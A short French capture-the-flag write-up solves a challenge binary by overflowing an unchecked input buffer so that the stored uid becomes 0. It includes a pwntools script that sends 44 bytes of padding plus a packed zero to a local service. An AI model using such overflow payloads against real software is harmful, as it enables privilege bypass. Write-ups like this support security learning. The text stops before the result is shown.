État des lieux
Un conteneur et un exécutable. L’exécutable est vraisemblablement celui qui répond au requêtes via nc
dans le conteneur.
On teste via le conteneur:
A priori il faut entrer la bonne info pour avoir le flag.
Analyse
Avec ghidra on analyse l’exécutable. Le code de la fonction main
donne:
Bon ça récupère l’uid de l’utiisateur, ensuite ça lit une chaine de caractère puis ça vérifie que l’utilisateur est bien l’uid 0 (root).
Donc quelle que soit l’info entrée, l’utilisateur n’est jamais 0
. Jamais ?
Ben non, comme la saisie de l’entrée n’est pas controlée en taille on peut écraser des données présente après la chaine local_38
.
Du coup, il suffit d’envoyer 44 caractères et un certain numbre de 0
(de la taille de l’entrée __uid_t
) et ça devrait passer :
Exploit
import pwn
# Version locale
# p = pwn.process("./uid")
p = pwn.connect("localhost", 4000)
p.recvuntil(b"username: ")
p.sendline(b"A" * 44 + pwn.p64(0x0))
print(p.recvline())
Et le résultat: